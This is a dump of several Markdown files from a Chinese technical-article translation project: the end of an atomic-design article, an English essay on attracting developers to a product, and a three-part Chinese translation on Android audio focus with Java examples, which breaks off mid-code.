的[共享库](https://uxdesign.cc/how-to-use-adobe-cc-shared-libraries-and-make-the-most-of-it-d5e114014170),这些工具使我们拥有一个公有且一直保持最新状态的单一数据源(single source of truth)。 ![](https://cdn-images-1.medium.com/max/800/1*ses_KEaaren8CHX6KHoxXg.jpeg) 共享库:一直同步并保持最新状态。 共享库使多个设计师可以从相同的基本组件开始他们的设计。 这些库同时也精简了我们的工作,因为我们一旦在共享库中更新了一个组件,这个更改会自动应用到每个设计师使用的所有与其相关的文件上: ![](https://cdn-images-1.medium.com/max/800/1*jIV9_u7tWnNsmEwzlvYB9w.gif) 在库中的一个更改会自动改变所有与其关联的元素。 我必须承认,在我试用过的所有共享库中,还没有一个完美契合原子设计工作的... 原子和组件间强大的相互依赖性仍然缺乏,这一特点使我们可以创建灵活且不断演化的系统。 另一个问题是我们仍然有两种不同的库:设计师的库和开发者的库... 因此这两种库需要同步维护,带来了错误和许多额外的工作。 我理想中完美的共享库是这样的:一个可以同时满足设计师和开发者需求的库: ![](https://cdn-images-1.medium.com/max/800/1*E8xw35qc9Iznt_3JB6o1Yg.jpeg) 我理想中的未来:一个可以同时满足设计师和开发者需求的单一的库。 但在我看到如 [React Sketch app](https://github.com/airbnb/react-sketchapp)(由 Airbnb 在近期发布) 这样使代码写成的组件可以直接在 Sketch 文件中使用的插件之后,我对自己说,也许这个未来已经不远了... ![](https://cdn-images-1.medium.com/max/800/1*lOm8j3gpZHjxoAei2g9F1Q.png) React Sketch 插件:代码写成的组件可以直接在 Sketch 中使用。 ### 写在最后 我想你应该已经理解了:我坚信需要使用组件设计界面,考虑灵活且不断演化的系统,并且我认为原子设计方法会帮助我们有效的达成这些目的。 **如果你也有在大小项目上使用组件系统的反馈,就在评论区分享你的经验吧!** ![](https://cdn-images-1.medium.com/max/800/1*aNPBhln7iDMY8qRcmoyCfA.jpeg) **这篇由 Audrey 撰写的文章旨在分享知识并扶持设计社区。所有在 uxdesign.cc 上发表的文章都遵从这一[**理念**](https://uxdesign.cc/the-design-community-we-believe-in-369d35626f2f)** ![](https://cdn-images-1.medium.com/max/800/1*aNPBhln7iDMY8qRcmoyCfA.jpeg) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。 ================================================ FILE: TODO/attract-millions-developers-product.md ================================================ >* 原文链接 : [How To Attract Millions of Developers to Your Product](http://www.techstars.com/content/accelerators/boulder/attract-millions-developers-product/) * 原文作者 : [Mitch Wainer](http://www.techstars.com/content/author/mitch-wainer/) * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner) * 译者 : * 校对者: According to Evans Data, there will be [**over 25 million software developers by 2020**](http://www.evansdata.com/reports/viewRelease.php?reportID=9). It’s become one of the hottest markets in tech as well as [**the fastest growing professional segment in the world**](http://www.economicmodeling.com/2012/12/06/careerbuilder-and-emsi-release-top-jobs-for-2013/). Leading B2D companies such as GitHub, Stripe, Twilio and DigitalOcean have been able to attract millions of developers to their platforms through organic efforts. Why organic? Developers are savvy consumers and they’re typically turned off by traditional online advertising efforts. As an example, we ran a test in Google Analytics and discovered that **over 30% of our website visitors had ad-blockers turned on.** This piece of data tells us that a large percentage of our audience blocks display and retargeting ads when they browse the internet. Holistically, the world of modern marketing has evolved and **relationship marketing** has become the best way to drive long-term sustainable growth. Instead of focusing on short-term metrics and targets, build long-term relationship marketing programs that enhance the entire customer lifecycle experience and provide value to the end user at the top, middle, and bottom of the funnel. Here are a few key strategies to attract developers to your product: **Be honest, clear and concise with your messaging.** Honesty and authenticity go a long way with the developer community. Keep your website informative and truthful and the developers who read them will have a far better impression of your business. Simplify overly-technical descriptions into clear and absorbable messaging, that becomes the winning formula to drive engagement. When writing copy and messaging, try to stick to these guidelines: – Be clear, concise, and direct – Do not try to oversell developers – Avoid hyperbole to describe your business – Avoid boasting (e.g. we’re #1 or we’re better than XYZ company) – Speak the same language, developers want to talk to developers – Don’t over-message and bombard customers with emails **Give it away for free.** This is a great strategy to feed your top of the funnel. Developers aren’t willing to pay up front because migrating, integrating, or customizing a product to fit their code is a time commitment. You have to show it’s worth their time. Incentivizing them with promotional credits via meetups, events, social, paid channels, or email can be effective way to get them to try your product. **Accelerate word of mouth growth through an internal referral program**. Focus on the customers that love your brand and give them tools and rewards for spreading that love. You can identify customer advocates by tracking your [**Net Promoter Score (NPS)**](http://tomtunguz.com/nps-benchmarks/) across all cohorts. Based on our above-average NPS rating (69) and understanding that the large majority of new signups were coming through direct and word of mouth channels, we knew that there was a tremendous opportunity to harness and complement our organic momentum with an internal referral program. When we were creating the program, we’d jumped on the phone with the growth teams from the best of breed companies, Dropbox and Airbnb, to ask what worked best for their referral programs. Our teams spent a lot of time on iterating to create a desirable incentive for our customers and we landed on a [**double-sided program**](https://www.digitalocean.com/referral-program/) that grants account credits to both the referrer ($25) and the referral ($10). So for us, it’s been very successful and it has become one of our largest channels for driving growth. **Earned media can spark viral awareness.** We leveraged relationship marketing tactics early on to acquire our first 2,000 customers. But it wasn’t until January 15th, 2013, when we released our all-SSD cloud server plans that catapulted our business. Fortunately, on launch day we were able to secure [**our first TechCrunch exclusive**](http://techcrunch.com/2013/01/15/techstars-graduate-digitalocean-switches-to-ssd-for-its-5-per-month-vps-to-take-on-linode-and-rackspace/) that catapulted our daily signups overnight (see graph below). Within a month we went viral again on Hacker News when one of our customers [**benchmarked our performance**](http://jasonormand.com/2013/02/08/linode-vs-digitalocean-performance-benchmarks/) and wrote about it on his blog. Each earned media event created a new level of sustainable growth for our business and “The Hacker News Effect” was by far the most impactful. ![](http://ww2.sinaimg.cn/large/a490147fgw1f2sr134jt5j20k005emxv.jpg) **Create authentic conversations on Twitter, Q&A sites, forums, and blogs.** We used the [**search.twitter.com**](https://twitter.com/search-home) tool to find and join conversations to help developers with their server problems and/or give credits to try our product. This was an effective relationship building strategy that built brand trust and credibility which sparked early momentum from a small group of users. Additionally, we were able to successfully build new relationships and partnerships with a few key influencers early on and through their personal brand and communities, they were able to recommend us and drive several hundred users to our platform. **Invest in creating content that solves a problem**. Developers at various skill levels defer to Google to help solve their problems when they’re building their stack. A key component to building an effective inbound growth engine to develop high-quality content that educates your target audience. We have an amazing team of technical writers and editors that have published over 1,300 server config tutorials to date. These tutorials drive over **3.7M unique monthly visitors** to our website and we’re able to leverage this awareness to drive engagement to our product. **Get to know your early adopters on a personal level.** Go above and beyond for your customers, grant them large credits, surprise them with swag/personal thank you letters, talk to them on the phone, take them out for coffee or lunch. Ask them about their challenges, why they signed up for your product, what events do they attend and which websites do they visits. This will help craft your go to market strategy to attract your next thousand users or customers. Your early adopters will become your brand’s voice. Without our loyal early adopters, DigitalOcean wouldn’t have a brand voice when our product went viral in the Hacker News community. There would have been no one to vet and represent us in those conversations and we wouldn’t be where we are today without the voice of our early adopters. But before you ask the question, “How do I acquire more developers as customers?,” you need to understand if developers love using your product. Because once they do, your product can go viral almost instantaneously through the socially active online developer communities (e.g. Hacker News, Reddit, Stackoverflow, etc). **Bottom line: marketing is the fuel to the product’s fire and is very rarely the fire.** Once you’ve built a product that developers love, you can harness that momentum to drive growth by building an organic flywheel effect using these strategies. ================================================ FILE: TODO/audio-focus-1.md ================================================ > * 原文地址:[Understanding Audio Focus (Part 1 / 3): Common Audio Focus use cases](https://medium.com/google-developers/audio-focus-1-6b32689e4380) > * 原文作者:[Nazmul Idris (Naz)](https://medium.com/@nazmul?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-1.md](https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-1.md) > * 译者:[oaosj](https://github.com/oaosj) # 理解音频焦点 (第1/3部分):常见的音频焦点用例 ![](https://cdn-images-1.medium.com/max/2000/1*2_mUAwAihjBYMszQCCL0Mw.png) Android手机支持多个应用同时播放音频。操作系统会把多个音频流混合在一起播放,但是多个应用同时播放音频,给用户带来的体验往往不佳。为了提供更友好的用户体验,Android提供了一个[API](https://developer.android.com/guide/topics/media-apps/audio-focus.html),让应用程序可以共享**音频焦点**,旨在保证同一时段内只有一个应用可以维持音频聚焦。 本系列文章旨在让您深入理解音频焦点的含义,使用方法和其对用户体验的重要性。本篇文章是该系列的第一部分,该系列三篇文章包含了: 1. 最常见的音频焦点用例和成为一个优秀的媒体使用者的重要性(**此篇文章**) 2. [其它一些能体现音频焦点对应用体验的重要性的用例](https://medium.com/@nazmul/audio-focus-2-42244043863a) 3. [在您的应用中实现音频焦点的三个步骤](https://medium.com/@nazmul/audio-focus-3-cdc09da9c122) 音频焦点的良好协作性,主要依赖于应用程序是否遵循音频焦点指南,操作系统没有强制执行音频焦点的规范来约束应用程序,如果应用选择在失去音频焦点后继续大声播放音频,会带来不良的用户体验,可能直接导致用户卸载应用,但这是无法阻止的行为,只能靠开发者自我约束。 下面是一些音频焦点使用场景(假设用户正在使用您的应用播放音频)。 当您的应用需要播放声音的时候,应该先请求音频聚焦,在获得音频焦点后再播放声音。 ### 用例一 : 用户在使用您的应用播放音频1时,打开另一个应用并尝试播放该应用相关的音频2 #### 您的应用不处理音频焦点的情况下: 您的音频1和另一个应用的音频2会重叠播放,用户无法正常听到来自任何应用的音频,这样的用户体验很不友好。 ![](https://cdn-images-1.medium.com/max/800/1*zaIB6fKmwSwhm_UM3Yox_A.png) #### **您的应用处理了音频焦点的情况下:** 在另一个应用需要播放音频时,它会请求音频焦点常驻,即音频永久聚焦。一旦系统授权,它便会开始播放音频,这时候您的应用需要响应音频焦点的丢失通知,停止播放。这样用户就只会听到另一个应用的音频。 ![](https://cdn-images-1.medium.com/max/800/1*xk8Tio4_XxtmuoH9CK7qkQ.png) 同样的道理,假如过了五分钟,您的应用需要播放音频,您同样需要申请音频焦点,一旦获得系统授权,我们就可以开始播放音频,其它应用响应音频焦点丢失通知,停止播放。 ### 用例二 : 当您播放音频时候,正好手机来电,需要播放响铃。 #### **您的应用不处理音频焦点的情况下:** 手机响铃后,用户会听到铃声和您的手机音频叠加在一起播放。如果用户选择直接挂断电话,您的音频会保持播放。如果用户选择接通电话,他会听到通话声音和您的应用音频叠加在一起播放,挂断通话后您的应用音频会保持播放。无论如何,您的应用音频将全程保持播放状态。这带来的通话体验极差。 ![](https://cdn-images-1.medium.com/max/1000/1*_HjTvrT4locQYp8LHIMVrA.png) #### **您的应用处理了音频焦点的情况下:** 当手机响铃(您还未接通电话), 您的应用应该选择相应的回避(这是系统应用的要求)措施来响应短暂的音频焦点丢失。回避的措施可以是把应用的音量降低到百分之二十,也可以是直接暂停播放(如果您的应用是播客类,语音类应用)。 * 如果用户拒绝接听电话,您的应用可以马上采取响应音频焦点的获取,然后做出提高音量或恢复播放的相关操作。 * 如果用户接听了电话,操作系统会发出音频焦点丢失的通知。您的应用应该选择暂停播放,然后在通话结束后恢复播放。 ![](https://cdn-images-1.medium.com/max/1000/1*P1JDTh8I8XkDwXMPjGD2cg.png) ### 总结 当您的应用需要输出音频时,应该请求音频焦点。只有在获得音频焦点后,才能开始播放。但是,在播放过程中可能无法把音频焦点一直据为己有,因为其它应用程序可以发出音频焦点的请求来抢占音频焦点,这种情况下,您的应用可以选择暂停播放或者降低音量,这样用户才能更清晰地听到其它应用程序的音频。 想详细了解更多应用程序中音频焦点的场景用例,请阅读本系列 [第二篇文章](https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-2.md)。 [**理解音频焦点 (第2/3部分) - Nazmul Idris (Naz) - Medium**](https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-2.md) 想学习怎么在您的应用中实现音频焦点的相关操作,请阅读本系列 [第三篇文章(终章)](https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-3.md)。 [**理解音频焦点 (第3/3部分) - Nazmul Idris (Naz) - Medium**](https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-3.md) ### Android多媒体开发资源 * [示例代码 — MediaBrowserService](https://github.com/googlesamples/android-MediaBrowserService) * [示例代码 — MediaSession Controller Test (带有音频焦点测试)](https://github.com/googlesamples/android-media-controller) * [了解 MediaSession](https://medium.com/google-developers/understanding-mediasession-part-1-3-e4d2725f18e4) * [多媒体API指南 — 多媒体应用程序概述](https://developer.android.com/guide/topics/media-apps/media-apps-overview.html) * [多媒体API指南 — 使用MediaSession](https://developer.android.com/guide/topics/media-apps/working-with-a-media-session.html) * [使用MediaPlayer构建简单的音频应用程序](https://medium.com/google-developers/building-a-simple-audio-app-in-android-part-1-3-c14d1a66e0f1) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/audio-focus-2.md ================================================ > * 原文地址:[Understanding Audio Focus (Part 2 / 3): More Audio Focus use cases](https://medium.com/google-developers/audio-focus-2-42244043863a) > * 原文作者:[Nazmul Idris (Naz)](https://medium.com/@nazmul?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-2.md](https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-2.md) > * 译者:[oaosj](https://github.com/oaosj) # 理解音频焦点 (第 2/3 部分):更多的音频焦点用例 ![](https://cdn-images-1.medium.com/max/2000/1*2_mUAwAihjBYMszQCCL0Mw.png) 本系列文章旨在让您深入理解音频焦点的含义,使用方法和其对用户体验的重要性。本篇文章是该系列的第一部分,该系列三篇文章包含了: 1.  [最常见的音频焦点用例和成为一个优秀的媒体使用者的重要性](https://medium.com/@nazmul/audio-focus-1-6b32689e4380) 2. 其它一些能体现音频焦点对应用体验的重要性的用例 (**此篇文章**) 3. [在您的应用中实现音频焦点的三个步骤](https://medium.com/@nazmul/audio-focus-3-cdc09da9c122) 本系列的第一篇文章介绍了您可能遇到的两种最常见的使用情况,其中音频焦点对您应用的用户体验至关重要。本文将继续介绍一些用例,并介绍应用可以请求的音频焦点类型的概念,以帮助应用微调音频。 ### 用例一 :当后台运行的导航程序正在播报转向语音的时候,另一个应用正在播放音乐。 #### **您的应用不处理音频焦点的情况下:** 导航语音和音乐混在一起播放将会使用户分心。 #### **您的应用处理了音频焦点的情况下:** 当导航开始播报语音的时候,您的应用需要响应音频焦点丢失,选择回避模式,降低声音。 这里所说的回避模式,没有约束规定,建议您做到把音量调节到百分之二十。有一些特殊的情况,如果应用是有声读物,播客或口语类应用,建议暂停声音播放。 当语音播报完,导航应用会释放掉音频焦点,您的应用可以再次获得音频聚焦,然后恢复到原有音量播放(选择降低音量的回避模式时),或者恢复播放(选择暂停的回避模式时)。 ### 用例二 :用户在打电话的时候启动游戏(游戏播放音频) #### **您的应用不处理音频焦点的情况下:** 通话声音和游戏声音的重叠播放同样会让用户的体验非常糟糕。 #### **您的应用处理了音频焦点的情况下:** 在 Android O 中,有一个应对诸如本用例的音频焦点的功能,叫做**延迟音频聚焦**。 假如当用户在通话中打开游戏,他们想玩游戏,不想听到游戏声音。但是当他们通话结束的时候他们想听到游戏声音(通话应用暂时持有音频焦点)。如果您的应用支持**延迟音频聚焦**,会发生如下情况: 1. 当您的应用申请音频焦点的时候,会被拒绝并锁住,通话应用继续持有音频焦点,您的应用因此不播放音频。因为您的应用是游戏,可以正常继续操作,只是没有声音。 2. 当通话结束,您的应用会被授权**延迟音频聚焦**。这个授权是来自刚才申请音频聚焦被拒绝后锁住的那个请求,它只是被延迟一段时间后再授权给您。您可以像上文建议应对音频焦点得失的处理方式那样处理,在本例中,此时便可以开始恢复播放。 目前低于 Android O 的版本是不支持**延迟音频聚焦**这个功能的,所以本用例在其它版本下,应用并不会延迟获得音频焦点。 ### 用例三 :导航应用或其它能生成音频通知的应用程序 如果您正在开发一款能够在短时间内以突发的方式生成音频的应用程序,提供良好的音频焦点用户体验是非常重要的。类似的应用程序功能如:生成通知声音,提醒声音或一次又一次地在后台生成口语播放的应用程序。 假设您的应用正在后台运行,并且即将生成一些音频。 用户正在收听音乐或播客,而您的应用正好在短时间内生成音频: 在您的应用程序生成音频之前,它应该请求短暂的音频焦点。 只有当它被授予焦点时,才能播放音频。优秀的应用程序应该遵守音频焦点的短暂丢失选择降低音量,如果抢占音频焦点的应用程序是播客应用程序,则您可以考虑暂停,直到重新获得音频焦点以恢复播放为止。未能正确请求音频焦点将导致用户同时听到音乐(或播客)和您的应用音频。 ### 用例四 :录音应用程序或语音识别应用程序 如果您正在开发一款需要在一段时间内录制音频的应用程序,在这段时间内系统或其他应用程序不应该发出任何声音(通知或其他媒体播放),这时处理好音频焦点对于提供良好的用户体验至关重要。需要做到这些的程序如:录音或语音识别应用程序 您的应用应当请求暂时的、独占的音频焦点,如果是来自于系统授权的,那么便可以安心地开始录制,因为系统了解并确保手机在此期间可能生成或存在的其它音频不会干扰到您的录制。在此期间,来自于其它应用的音频焦点申请都会被系统拒绝。当录制完成记得释放音频焦点,以便系统授权其它应用正常播放声音。 ### 总结 当您的应用程序需要输出音频时,应该请求音频焦点(并且可以请求不同类型的焦点)。 只有在获得音频焦点之后,才能播放声音。但是,在获取音频焦点之后,您的应用程序在完成播放音频之前可能无法一直保留它。 另一个应用程序可以请求并抢占音频焦点。在这种情况下,您的应用程序应该暂停播放或降低其音量,以便让用户更清晰地听到新的音频来源。 在 Android O 上,如果您的应用程序在请求音频焦点时被拒,系统可以等音频焦点空闲时发送给您的应用程序(延迟聚焦)。 想详细了解如何在您的应用中用代码实现音频焦点,请阅读 [第三篇文章](https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-3.md)。 [**理解音频焦点 (第 3/3 部分) - Nazmul Idris (Naz) - Medium**](https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-3.md) ### Android多媒体开发资源 * [示例代码 — MediaBrowserService](https://github.com/googlesamples/android-MediaBrowserService) * [示例代码 — MediaSession Controller Test(带有音频焦点测试)](https://github.com/googlesamples/android-media-controller) * [了解 MediaSession](https://medium.com/google-developers/understanding-mediasession-part-1-3-e4d2725f18e4) * [多媒体 API 指南 — 多媒体应用程序概述](https://developer.android.com/guide/topics/media-apps/media-apps-overview.html) * [多媒体 API 指南 — 使用MediaSession](https://developer.android.com/guide/topics/media-apps/working-with-a-media-session.html) * [使用 MediaPlayer 构建简单的音频应用程序](https://medium.com/google-developers/building-a-simple-audio-app-in-android-part-1-3-c14d1a66e0f1) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/audio-focus-3.md ================================================ > * 原文地址:[Understanding Audio Focus (Part 3 / 3): 3 steps to implementing Audio Focus in your app](https://medium.com/google-developers/audio-focus-3-cdc09da9c122) > * 原文作者:[Nazmul Idris (Naz)](https://medium.com/@nazmul?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-3.md](https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-3.md) > * 译者:[oaosj](https://github.com/oaosj) # 理解音频焦点 (第 3/3 部分):三个步骤实现音频聚焦 ![](https://cdn-images-1.medium.com/max/2000/1*2_mUAwAihjBYMszQCCL0Mw.png) 本系列文章旨在让您深入理解音频焦点的含义,使用方法和其对用户体验的重要性。本篇文章是该系列的最后一部分,该系列三篇文章包含了: 1.  [最常见的音频焦点用例和成为一个优秀的媒体使用者的重要性](https://medium.com/@nazmul/audio-focus-1-6b32689e4380) 2. [其它一些能体现音频焦点对应用体验的重要性的用例](https://medium.com/@nazmul/audio-focus-2-42244043863a) 3. 在您的应用中实现音频焦点的三个步骤 (**此篇文章**) 如果您不妥善处理好音频聚焦,您的用户可能受到下图所示的困扰。 ![如果您不处理音频焦点会发生什么呢](https://cdn-images-1.medium.com/max/800/1*53tFOWaJmR_hrJq8QL0DHg.png) 现在您已经知道音频聚焦的重要性,让我们通过一些步骤来让您的应用程序正确处理音频焦点。 开始代码示例之前,先看看下图,它展示了实现步骤: ![](https://cdn-images-1.medium.com/max/800/1*KdcNZbndhRg5ne18kquBKA.png) ### 步骤一 :请求音频焦点 获取音频焦点的第一个步骤是先向系统发出申请焦点的消息。注意这只是发出请求,并非直接获取。为了申请到音频聚焦,您必须向系统描述好您的意图。介绍四个常见音频焦点类型: * [AUDIOFOCUS_GAIN](https://developer.android.com/reference/android/media/AudioManager.html#AUDIOFOCUS_GAIN)的使用场景:应用需要聚焦音频的时长会根据用户的使用时长改变,属于不确定期限。例如:多媒体播放或者播客等应用。 * [AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK](https://developer.android.com/reference/android/media/AudioManager.html#AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK)的使用场景:应用只需短暂的音频聚焦,来播放一些提示类语音消息,或录制一段语音。例如:闹铃,导航等应用。 *  [AUDIOFOCUS_GAIN_TRANSIENT](https://developer.android.com/reference/android/media/AudioManager.html#AUDIOFOCUS_GAIN_TRANSIENT)的使用场景:应用只需短暂的音频聚焦,但包含了不同响应情况,例如:电话、QQ、微信等通话应用。 * [AUDIOFOCUS_GAIN_TRANSIENT_EXCLUSIVE](https://developer.android.com/reference/android/media/AudioManager.html#AUDIOFOCUS_GAIN_TRANSIENT_EXCLUSIVE) 的使用场景:同样您的应用只是需要短暂的音频聚焦。未知时长,但不允许被其它应用截取音频焦点。例如:录音软件。 在 Android O 或者更新的版本上您必须使用 [builder](https://developer.android.com/reference/android/media/AudioFocusRequest.Builder.html) 来实例化一个 [AudioFocusRequest](https://developer.android.com/reference/android/media/AudioFocusRequest.html) 类。(在 builder 中必须指明请求的音频焦点类型) ``` AudioManager mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE); AudioAttributes mAudioAttributes = new AudioAttributes.Builder() .setUsage(AudioAttributes.USAGE_MEDIA) .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC) .build(); AudioFocusRequest mAudioFocusRequest = new AudioFocusRequest.Builder(AudioManager.AUDIOFOCUS_GAIN) .setAudioAttributes(mAudioAttributes) .setAcceptsDelayedFocusGain(true) .setOnAudioFocusChangeListener(...) // Need to implement listener .build(); int focusRequest = mAudioManager.requestAudioFocus(mAudioFocusRequest); switch (focusRequest) { case AudioManager.AUDIOFOCUS_REQUEST_FAILED: // 不允许播放 case AudioManager.AUDIOFOCUS_REQUEST_GRANTED: // 开始播放 } ``` 音频焦点类型要点: 1. [AudioManager.AUDIOFOCUS_GAIN](https://developer.android.com/reference/android/media/AudioManager.html#AUDIOFOCUS_GAIN):请求长时间音频聚焦。如果只是临时需要音频焦点可以选用这几个:[AUDIOFOCUS_GAIN_TRANSIENT](https://developer.android.com/reference/android/media/AudioManager.html#AUDIOFOCUS_GAIN_TRANSIENT)或[AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK](https://developer.android.com/reference/android/media/AudioManager.html#AUDIOFOCUS_GAIN_TRANSIENT_MAY_DUCK)。 2. 您必须通过 [setOnAudioFocusChangeListener()](https://developer.android.com/reference/android/media/AudioFocusRequest.Builder.html#setOnAudioFocusChangeListener%28android.media.AudioManager.OnAudioFocusChangeListener%29) 方法来实现 [AudioManager.OnAudioFocusChangeListener](https://developer.android.com/reference/android/media/AudioManager.OnAudioFocusChangeListener.html) 接口。用来响应音频焦点状态的变化,如被其它应用截取了音频焦点,或者其它应用释放焦点,都会在这里回调。 3. 调用 AudioManager 的 [requestAudioFocus(…)](https://developer.android.com/reference/android/media/AudioManager.html#requestAudioFocus%28android.media.AudioFocusRequest%29) 方法,需要用到实例化好的 [AudioFocusRequest](https://developer.android.com/reference/android/media/AudioFocusRequest.html)。 请求结果以一个 int 变量返回:[AUDIOFOCUS_REQUEST_GRANTED](https://developer.android.com/reference/android/media/AudioManager.html#AUDIOFOCUS_REQUEST_GRANTED) 表示获得授权, [AUDIOFOCUS_REQUEST_FAILED](https://developer.android.com/reference/android/media/AudioManager.html#AUDIOFOCUS_REQUEST_FAILED) 表示被系统拒绝。 在 Android N 及其更早的版本中,不需要用到 AudioFocusRequest,只需实现 AudioManager.OnAudioFocusChangeListener 接口。代码如下: ``` AudioManager mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE); int focusRequest = mAudioManager.requestAudioFocus( ..., // Need to implement listener AudioManager.STREAM_MUSIC, AudioManager.AUDIOFOCUS_GAIN); switch (focusRequest) { case AudioManager.AUDIOFOCUS_REQUEST_FAILED: // don't start playback case AudioManager.AUDIOFOCUS_REQUEST_GRANTED: // actually start playback } ``` 上述皆为音频焦点的申请,接下来我们将介绍 AudioManager.OnAudioFocusChangeListener 如何实现,以此来响应音频焦点的状态。 ### 步骤二 :响应音频焦点的状态改变 一旦获得音频聚焦,您的应用要马上做出响应,因为它的状态可能在任何时间发生改变(丢失或重新获取),您可以实现 **OnAudioFocusChangeListener** 来响应状态改变。 以下代码展示了 OnAudioFocusChangeListener 接口的实现,它处理了与 [Google Assistant](https://developer.android.com/guide/topics/media-apps/interacting-with-assistant.html) 应用协同工作的时候,音频焦点的各种状态的变化。 ``` private final class AudioFocusHelper implements AudioManager.OnAudioFocusChangeListener { private void abandonAudioFocus() { mAudioManager.abandonAudioFocus(this); } @Override public void onAudioFocusChange(int focusChange) { switch (focusChange) { case AudioManager.AUDIOFOCUS_GAIN: if (mPlayOnAudioFocus && !isPlaying()) { play(); } else if (isPlaying()) { setVolume(MEDIA_VOLUME_DEFAULT); } mPlayOnAudioFocus = false; break; case AudioManager.AUDIOFOCUS_LOSS_TRANSIENT_CAN_DUCK: setVolume(MEDIA_VOLUME_DUCK); break; case AudioManager.AUDIOFOCUS_LOSS_TRANSIENT: if (isPlaying()) { mPlayOnAudioFocus = true; pause(); } break; case AudioManager.AUDIOFOCUS_LOSS: mAudioManager.abandonAudioFocus(this); mPlayOnAudioFocus = false; stop(); break; } } } ``` 关于暂停播放,应用程序的行为应该是不同的。如果用户主动暂停播放时,您的应用应释放音频焦点。如果是为了响应音频焦点的暂时丢失而暂停播放,则不应释放音频焦点。 这里有一些用例来说明这一点。 分析上面接口 **mPlayOnAudioFocus** 的场景,您的音频应用正在后台播放音乐: 1. 用户点击播放,您的应用向系统申请音频聚焦,假如系统授权了。 2. 现在用户长按 HOME 键启动 Google Assistant。Google Assistant 会向系统申请一个短暂的音频聚焦。 3. 一旦系统授权给 Google Assistant,您的 **OnAudioFocusChangeListener** 接口会收到 **AUDIOFOCUS_LOSS_TRANSIENT** 事件回调。您在这个回调里处理暂停音乐播放。 4. 当 Google Assistant 使用结束,您的 **OnAudioFocusChangeListener** 会收到 **AUDIOFOCUS_GAIN** 事件回调。 在这里您可以处理是否让音乐恢复播放。 以下代码展示如何释放音频焦点: ``` public final void pause() { if (!mPlayOnAudioFocus) { mAudioFocusHelper.abandonAudioFocus(); } onPause(); } ``` 您可以看到释放焦点是在用户暂停播放的时候,而非其它应用请求焦点 **AUDIOFOCUS_GAIN_TRANSIENT** 导致他们释放焦点。 #### 应对焦点丢失 选择在 **OnAudioFocusChangeListener** 中暂停还是降低音量,取决于您应用的交互方式。在 Android O 上,系统会自动地帮您降低音量,所以您可以忽略 **OnAudioFocusChangeListener** 接口的 **AUDIOFOCUS_LOSS_TRANSIENT_CAN_DUCK** 事件。 在 Android O 以下的版本,您需要自己用代码实现,具体实现方式如上面代码所示。 #### 延迟聚焦 Android O 介绍了延迟聚焦这个概念,您可以在申请音频聚焦的时候来响应 **AUDIOFOCUS_REQUEST_DELAYED** 这个结果,如下所示: ``` public void requestPlayback() { int audioFocus = mAudioManager.requestAudioFocus(mAudioFocusRequest); switch (audioFocus) { case AudioManager.AUDIOFOCUS_REQUEST_FAILED: ... case AudioManager.AUDIOFOCUS_REQUEST_GRANTED: ... case AudioManager.AUDIOFOCUS_REQUEST_DELAYED: mAudioFocusPlaybackDelayed = true; } } ``` 在您 **OnAudioFocusChangeListener** 的实现,您需要检查 **mAudioFocusPlaybackDelayed** 这个变量,当您响应 **AUDIOFOCUS_GAIN** 音频聚焦的时候, 如下所示: ``` private void onAudioFocusChange(int focusChange) { switch (focusChange) { case 